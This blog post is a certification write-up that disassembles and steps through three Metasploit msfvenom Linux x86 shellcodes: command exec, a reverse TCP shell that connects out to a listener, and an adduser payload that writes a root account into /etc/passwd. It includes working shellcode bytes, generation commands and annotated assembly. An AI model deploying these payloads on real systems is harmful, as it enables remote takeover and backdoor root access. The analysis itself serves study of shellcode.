Msfvenom shellcode analysis

This blog post provides an analysis of various common shellcodes generated by the msfvenom utility which is part of Metasploit.

Shellcode analysis #1: linux/x86/exec


The linux/x86/exec msfvenom payload simply executes an arbitrary program configured with the CMD parameter.

The payload for this analysis was generated as follows:

slemire@slae:~/slae32/assignment5/1_exec$ msfvenom -p linux/x86/exec -f c -o exec_shellcode CMD=/usr/bin/id                              
[-] No platform was selected, choosing Msf::Module::Platform::Linux from the payload
[-] No arch selected, selecting arch: x86 from the payload
No encoder or badchars specified, outputting raw payload
Payload size: 47 bytes
Final size of c file: 224 bytes
Saved as: exec_shellcode

Next, it was added to the skeleton test C program that was used for the other assignments.

#include <stdio.h>

char shellcode[] = "\x6a\x0b\x58\x99\x52\x66\x68\x2d\x63\x89\xe7\x68\x2f\x73\x68"
"\x00\x68\x2f\x62\x69\x6e\x89\xe3\x52\xe8\x0c\x00\x00\x00\x2f"
"\x75\x73\x72\x2f\x62\x69\x6e\x2f\x69\x64\x00\x57\x53\x89\xe1"
"\xcd\x80";

int main()
{
    int (*ret)() = (int(*)())shellcode;
    printf("Size: %d bytes.\n", sizeof(shellcode));
    ret();
}

The shellcode is compiled with the -z execstack flag to make the stack executable then tested to make sure it works:

slemire@slae:~/slae32/assignment5/1_exec$ gcc -z execstack -o shellcode shellcode.c
slemire@slae:~/slae32/assignment5/1_exec$ ./shellcode
Size: 48 bytes.
uid=1000(slemire) gid=1000(slemire) groups=1000(slemire),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),110(lxd),115(lpadmin),116(sambashare)

The sctest program from libemu2 can be used to emulate the specific instructions in the shellcode and help understand how the shellcode works. As show in the output below, we can clearly see that the shellcode executes the execve function, using /bin/sh as the program name. The command /usr/bin/id that was configured in the payload through msfvenom is executed using the -c command flag of /bin/sh.

slemire@slae:~/slae32/assignment5/1_exec$ msfvenom -p linux/x86/exec CMD=/usr/bin/id | sctest -v -Ss 100000
verbose = 1
[...]
execve
int execve (const char *dateiname=00416fc0={/bin/sh}, const char * argv[], const char *envp[]);
cpu error error accessing 0x00000004 not mapped

stepcount 15
int execve (
     const char * dateiname = 0x00416fc0 => 
           = "/bin/sh";
     const char * argv[] = [
           = 0x00416fb0 => 
               = 0x00416fc0 => 
                   = "/bin/sh";
           = 0x00416fb4 => 
               = 0x00416fc8 => 
                   = "-c";
           = 0x00416fb8 => 
               = 0x0041701d => 
                   = "/usr/bin/id";
           = 0x00000000 => 
             none;
     ];
     const char * envp[] = 0x00000000 => 
         none;
) =  0;

ndisasm is used to decode the instructions from the shellcode:

slemire@slae:~/slae32/assignment5/1_exec$ msfvenom -p linux/x86/exec CMD=/usr/bin/id | ndisasm -b 32 -
[-] No platform was selected, choosing Msf::Module::Platform::Linux from the payload
[-] No arch selected, selecting arch: x86 from the payload
No encoder or badchars specified, outputting raw payload
Payload size: 47 bytes

00000000  6A0B              push byte +0xb
00000002  58                pop eax
00000003  99                cdq
00000004  52                push edx
00000005  66682D63          push word 0x632d
00000009  89E7              mov edi,esp
0000000B  682F736800        push dword 0x68732f
00000010  682F62696E        push dword 0x6e69622f
00000015  89E3              mov ebx,esp
00000017  52                push edx
00000018  E80C000000        call dword 0x29
0000001D  2F                das
0000001E  7573              jnz 0x93
00000020  722F              jc 0x51
00000022  62696E            bound ebp,[ecx+0x6e]
00000025  2F                das
00000026  696400575389E1CD  imul esp,[eax+eax+0x57],dword 0xcde18953
0000002E  80                db 0x80

Stepping through the shellcode

The syscall for execve is 0xb and needs to be placed into the $eax register before calling int 0x80. It could be done with mov eax, 0xb but this uses a longer shellcode, so instead the push and pop instructions are used to place the 0xb in the $eax register.

push byte +0xb          ; top of stack = 0xb
pop eax                 ; eax -> 0xb

The $edx register will be set to null since we don’t need to pass any environment variables to the program that is executed. Using the cdq instruction is a little trick to further reduce the shellcode size. It extends the sign bit of the $eax register (which is not set since its value is 0xb) into the $edx register, effectively changing it to zero.

cdq                     ; edx -> 0
push edx                ; 

The address of the the 2nd argument -c is moved into $edi. This’ll be used later when pushing the arguments on the stack.

push word 0x632d        ; const char * argv[] -> "-c"
mov edi,esp             ; 

The first argument const char *filename contains a pointer to the filename that’ll be executed. The /bin/sh is pushed on the stack, then the $esp value is copied to $ebx so it’ll be used for the execve syscall.

push dword 0x68732f     ; /bin/sh
push dword 0x6e69622f   ; [...]
mov ebx,esp             ; const char *filename -> "/bin/sh"
push edx

The call instruction first places the address of /usr/bin/id on the stack then jumps to the instructions following the null byte below.

E80C000000        call dword 0x29         ; push on the stack the address of string "/usr/bin/id"
2F                das                     ; /usr/bin/id
7573              jnz 0x93                ; [...]
722F              jc 0x51                 ; [...]
62696E            bound ebp,[ecx+0x6e]    ; [...]
2F                das                     ; [...]
696400575389E1CD  imul esp,[eax+eax+0x57],dword 0xcde18953 ; [...]

After the call instruction, gdb shows that the next instructions push the argv[] in the reverse order:

$eax   : 0xb       
$ebx   : 0xbffff59e  →  "/bin/sh"
$ecx   : 0x7ffffff7
$edx   : 0x0       
$esp   : 0xbffff596  →  0x0804a05d  →  "/usr/bin/id"
$ebp   : 0xbffff5c8  →  0x00000000
$esi   : 0xb7fcc000  →  0x001b1db0
$edi   : 0xbffff5a6  →  0x0000632d ("-c"?)
[...]
0xbffff596│+0x0000: 0x0804a05d  →  "/usr/bin/id"         ← $esp
0xbffff59a│+0x0004: 0x00000000
0xbffff59e│+0x0008: "/bin/sh"
0xbffff5a2│+0x000c: 0x0068732f ("/sh"?)
0xbffff5a6│+0x0010: 0x0000632d ("-c"?)
0xbffff5aa│+0x0014: 0x843a0000
0xbffff5ae│+0x0018: 0x00010804
0xbffff5b2│+0x001c: 0xf6740000
───────────────────────────────────────────────────────── code:x86:32 ────
 →  0x804a069 <shellcode+41>   push   edi
    0x804a06a <shellcode+42>   push   ebx
    0x804a06b <shellcode+43>   mov    ecx, esp
    0x804a06d <shellcode+45>   int    0x80

After the push, the stack looks like this:

0xbffff58e│+0x0000: 0xbffff59e  →  "/bin/sh"     ← $esp
0xbffff592│+0x0004: 0xbffff5a6  →  0x0000632d ("-c"?)
0xbffff596│+0x0008: 0x0804a05d  →  "/usr/bin/id"

The argv[] now contains : ["/bin/sh", "-c", "/usr/bin/id"] and the $ecx register contains the memory adress of this array.

Finally, execve is called using the int 0x80 instruction.

Shellcode analysis #2: linux/x86/shell_reverse_tcp


The linux/x86/shell_reverse_tcp msfvenom payload connects back to a remote machine, executes a shell and redirects output to the socket. This type of payload is commonly used when a firewall restrict incoming connections but allow outbound connections.

The payload for this analysis was generated as follows:

slemire@slae:~/slae32/assignment5/2_shell_reverse_tcp$ msfvenom -p linux/x86/shell_reverse_tcp -f c -o shell_reverse_tcp_shellcode LHOST=172.23.10.37 LPORT=4444
[-] No platform was selected, choosing Msf::Module::Platform::Linux from the payload
[-] No arch selected, selecting arch: x86 from the payload
No encoder or badchars specified, outputting raw payload
Payload size: 68 bytes
Final size of c file: 311 bytes
Saved as: shell_reverse_tcp_shellcode

Compiling and verifying that the shellcode works:

slemire@slae:~/slae32/assignment5/2_shell_reverse_tcp$ gcc -z execstack -o shellcode shellcode.c
slemire@slae:~/slae32/assignment5/2_shell_reverse_tcp$ ./shellcode
Size: 69 bytes.
[...]
slemire@slae:~$ nc -lvnp 4444
Listening on [0.0.0.0] (family 0, port 4444)
Connection from [172.23.10.37] port 4444 [tcp/*] accepted (family 2, sport 53684)
id
uid=1000(slemire) gid=1000(slemire) groups=1000(slemire),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),110(lxd),115(lpadmin),116(sambashare)

With libemu’s sctest utility, we can see that the shellcode executes the following functions:

  • socket
  • dup2 (duplicate stdin, stdout and stderr descriptors)
  • connect
  • execve
slemire@slae:~/slae32/assignment5/2_shell_reverse_tcp$ msfvenom -p linux/x86/shell_reverse_tcp LHOST=172.23.10.37 LPORT=4444 | sctest -v -Ss 100000   
verbose = 1
[...]
int socket (
     int domain = 2;
     int type = 1;
     int protocol = 0;
) =  14;
int dup2 (
     int oldfd = 14;
     int newfd = 2;
) =  2;
int dup2 (
     int oldfd = 14;
     int newfd = 1;
) =  1;
int dup2 (
     int oldfd = 14;
     int newfd = 0;
) =  0;
int connect (
     int sockfd = 14;
     struct sockaddr_in * serv_addr = 0x00416fbe => 
         struct   = {
             short sin_family = 2;
             unsigned short sin_port = 23569 (port=4444);
             struct in_addr sin_addr = {
                 unsigned long s_addr = 621418412 (host=172.23.10.37);
             };
             char sin_zero = "       ";
         };
     int addrlen = 102;
) =  0;
int execve (
     const char * dateiname = 0x00416fa6 => 
           = "//bin/sh";
     const char * argv[] = [
           = 0x00416f9e => 
               = 0x00416fa6 => 
                   = "//bin/sh";
           = 0x00000000 => 
             none;
     ];
     const char * envp[] = 0x00000000 => 
         none;
) =  0;

With ndisasm, we can disassemble the shellcode produced by msfvenom:

slemire@slae:~/slae32/assignment5/2_shell_reverse_tcp$ msfvenom -p linux/x86/shell_reverse_tcp LHOST=172.23.10.37 LPORT=4444 | ndisasm -b32 - > shell_reverse_tcp.asm
[-] No platform was selected, choosing Msf::Module::Platform::Linux from the payload
[-] No arch selected, selecting arch: x86 from the payload
No encoder or badchars specified, outputting raw payload
Payload size: 68 bytes

slemire@slae:~/slae32/assignment5/2_shell_reverse_tcp$ cat shell_reverse_tcp.asm
00000000  31DB              xor ebx,ebx
00000002  F7E3              mul ebx
00000004  53                push ebx
00000005  43                inc ebx
00000006  53                push ebx
00000007  6A02              push byte +0x2
00000009  89E1              mov ecx,esp
0000000B  B066              mov al,0x66
0000000D  CD80              int 0x80
0000000F  93                xchg eax,ebx
00000010  59                pop ecx
00000011  B03F              mov al,0x3f
00000013  CD80              int 0x80
00000015  49                dec ecx
00000016  79F9              jns 0x11
00000018  68AC170A25        push dword 0x250a17ac
0000001D  680200115C        push dword 0x5c110002
00000022  89E1              mov ecx,esp
00000024  B066              mov al,0x66
00000026  50                push eax
00000027  51                push ecx
00000028  53                push ebx
00000029  B303              mov bl,0x3
0000002B  89E1              mov ecx,esp
0000002D  CD80              int 0x80
0000002F  52                push edx
00000030  686E2F7368        push dword 0x68732f6e
00000035  682F2F6269        push dword 0x69622f2f
0000003A  89E3              mov ebx,esp
0000003C  52                push edx
0000003D  53                push ebx
0000003E  89E1              mov ecx,esp
00000040  B00B              mov al,0xb
00000042  CD80              int 0x80

Stepping through the shellcode

First, registers are cleared. The mul instruction is a shortcut to zero out eax and edx with a single instruction.

xor ebx,ebx           ; ebx = 0
mul ebx               ; eax = 0, edx = 0

int socket(int domain, int type, int protocol);

The socket is created:

  • AF_INET = IP
  • SOCK_STREAM = tcp
inc ebx               ; ebx = 1 (SYS_SOCKET)
push ebx              ; socket() -> type = 1 (SOCK_STREAM)
push byte +0x2        ; socket() -> domain = 2 (AF_INET)
mov ecx,esp           ; socketcall() -> *args
mov al,0x66           ; sys_socketcall -> SYS_SOCKET
int 0x80

int dup2(int oldfd, int newfd)

stdin, stdout and stderr are duplicated to the network socket:

xchg eax,ebx          ; eax = 1, ebx = 3 (fd)
pop ecx               ; ecx = 2
mov al,0x3f           ; sys_dup2
int 0x80              ;
dec ecx               ;
jns 0x11              ; loop through stdin, stdout, stderr

int connect(int sockfd, const struct sockaddr *addr, socklen_t addrlen)

The socket is then connected to the remote listener 172.23.10.37 / 4444:

push dword 0x250a17ac ; IP: 172.23.10.38
push dword 0x5c110002 ; Port: 4444
mov ecx,esp           ; socketcall() -> *args
mov al,0x66           ; sys_socketcall -> SYS_CONNECT
push eax              ; socklen_t addrlen = 66 
push ecx              ; const struct sockaddr *addr
push ebx              ; int sockfd = 3 (fd)
mov bl,0x3            ; ebx = 3 (SYS_CONNECT)
mov ecx,esp           ; socketcall() -> *args
int 0x80

int execve(const char *filename, char *const argv[], char *const envp[])

Once the socket is connected, execve is used to spawn a shell and since the descriptors have previously been duplicated the input and output will be redirected over the network.

push edx              ; edx = 0
push dword 0x68732f6e ; //bin/sh
push dword 0x69622f2f ; [...]
mov ebx,esp           ; const char *filename -> /bin/sh
push edx              ;
push ebx              ;
mov ecx,esp           ; char *const argv[] -> /bin/sh
mov al,0xb            ; sys_execve
int 0x80

Shellcode analysis #3: linux/x86/adduser


The linux/x86/adduser shellcode adds a new user to /etc/passwd with an arbitrary username and password. The password is encoded in traditional descrypt format directly in the file instead of /etc/shadow.

Creating the shellcode

slemire@slae:~/slae32/assignment5/3_adduser$ msfvenom -p linux/x86/adduser -f c -o adduser_shellcode USER=slae PASS=slae
[-] No platform was selected, choosing Msf::Module::Platform::Linux from the payload
[-] No arch selected, selecting arch: x86 from the payload
No encoder or badchars specified, outputting raw payload
Payload size: 91 bytes
Final size of c file: 409 bytes
Saved as: adduser_shellcode

Verifying that the shellcode works by adding a user slae with password slae

slemire@slae:~/slae32/assignment5/3_adduser$ gcc -z execstack -o shellcode shellcode.c
slemire@slae:~/slae32/assignment5/3_adduser$ sudo ./shellcode
[sudo] password for slemire: 
Size: 92 bytes.
slemire@slae:~/slae32/assignment5/3_adduser$ grep slae /etc/passwd
slae:AzH43ypX/zepc:0:0::/:/bin/sh

ndisasm is used to dissassemble the shellcode:

slemire@slae:~/slae32/assignment5/3_adduser$ msfvenom -p linux/x86/adduser USER=slae PASS=slae | ndisasm -b32 - 
[-] No platform was selected, choosing Msf::Module::Platform::Linux from the payload
[-] No arch selected, selecting arch: x86 from the payload
No encoder or badchars specified, outputting raw payload
Payload size: 91 bytes

00000000  31C9              xor ecx,ecx
00000002  89CB              mov ebx,ecx
00000004  6A46              push byte +0x46
00000006  58                pop eax
00000007  CD80              int 0x80
00000009  6A05              push byte +0x5
0000000B  58                pop eax
0000000C  31C9              xor ecx,ecx
0000000E  51                push ecx
0000000F  6873737764        push dword 0x64777373
00000014  682F2F7061        push dword 0x61702f2f
00000019  682F657463        push dword 0x6374652f
0000001E  89E3              mov ebx,esp
00000020  41                inc ecx
00000021  B504              mov ch,0x4
00000023  CD80              int 0x80
00000025  93                xchg eax,ebx
00000026  E822000000        call dword 0x4d
0000002B  736C              jnc 0x99              -> Start of username/password string
0000002D  61                popad                 ..
0000002E  653A417A          cmp al,[gs:ecx+0x7a]  ..
00000032  48                dec eax
00000033  3433              xor al,0x33
00000035  7970              jns 0xa7
00000037  58                pop eax
00000038  2F                das
00000039  7A65              jpe 0xa0
0000003B  7063              jo 0xa0
0000003D  3A30              cmp dh,[eax]
0000003F  3A30              cmp dh,[eax]
00000041  3A3A              cmp bh,[edx]
00000043  2F                das
00000044  3A2F              cmp ch,[edi]
00000046  62696E            bound ebp,[ecx+0x6e]
00000049  2F                das
0000004A  7368              jnc 0xb4
0000004C  0A598B            or bl,[ecx-0x75]
0000004F  51                push ecx
00000050  FC                cld
00000051  6A04              push byte +0x4
00000053  58                pop eax
00000054  CD80              int 0x80
00000056  6A01              push byte +0x1
00000058  58                pop eax
00000059  CD80              int 0x80

Stepping through the shellcode

int setreuid(uid_t ruid, uid_t euid)

setreuid() can be used by daemon processes to change the identity of a process in order for the process to be used to run work on behalf of a user.

The setreuid function is called so the program executes as root (of course, the user or process executing the shellcode must have privileges to do so). This is often used when the process itself doesn’t run as root but has privileges to do, for example if the SUID bit is set on the file.

xor ecx,ecx              ; ecx = 0
mov ebx,ecx              ; ebx = 0
push byte +0x46          ; eax = 0x46 -> sys_setreuid16
pop eax
int 0x80

int open(const char *pathname, int flags)

A file descriptor is then created so the shellcode can write the new user into /etc/passwd. The open function expects a pointer to the filename /etc/passwd and the flags. The filename contains extra slashes so make it 4 bytes aligned. The extra slashes in the filename don’t change the behavior as Linux don’t care of there is a single slash or multiple ones.

Flags specify if the file should be opened as read-only, write-only, etc.

The list of flags is in the fnctl.h file:

#define O_ACCMODE       00000003
#define O_RDONLY        00000000
#define O_WRONLY        00000001
#define O_RDWR          00000002
#define O_CREAT         00000100
#define O_EXCL          00000200
#define O_NOCTTY        00000400
#define O_TRUNC         00001000
#define O_APPEND        00002000
...

These values are encoded in octal base, so when we look at the disassembled code below for the open function, we see that the $ecx register contains the value 0x401 which translates to 2001 in octal base. Therefore the O_WRONLY and O_APPEND flags are used on /etc/passwd.

push byte +0x5           ; eax = 0x5 -> sys_open
pop eax
xor ecx,ecx              ; ecx = 0
push ecx                 ; null-terminate pathname string
push dword 0x64777373    ; /etc//passwd
push dword 0x61702f2f    ; [...]
push dword 0x6374652f    ; [...]
mov ebx,esp              ; const char *pathname -> /etc//passwd
inc ecx                  ; ecx = 0x1
mov ch,0x4               ; ecx = 0x401, int flags -> O_TRUNC + O_WRONLY
int 0x80

The next bit of code pushes on the stack the memory address of new /etc/passwd line that’ll get added. Then the code jumps further down in the code.

xchg eax,ebx             ; eax = */etc//passwd, ebx = 3
call dword 0x4d          ; put username entry on the stack

The code lands here, where the write function is called to add the username into the file.

write(int fd, const void *buf, size_t count)

pop ecx                       ; username entry: slae:AzH43ypX/zepc...
mov edx, DWORD PTR [ecx-0x4]  ; len
push 0x4                      ; eax = 0x4 -> sys_write
pop eax
int 0x80

Then finally, the program exits:

push 0x1                 ; eax = 0x1 -> sys_exit
pop eax
int 0x80

This blog post has been created for completing the requirements of the SecurityTube Linux Assembly Expert certification:

http://securitytube-training.com/online-courses/securitytube-linux-assembly-expert/

Student ID: SLAE-1236

All source files can be found on GitHub at https://github.com/slemire/slae32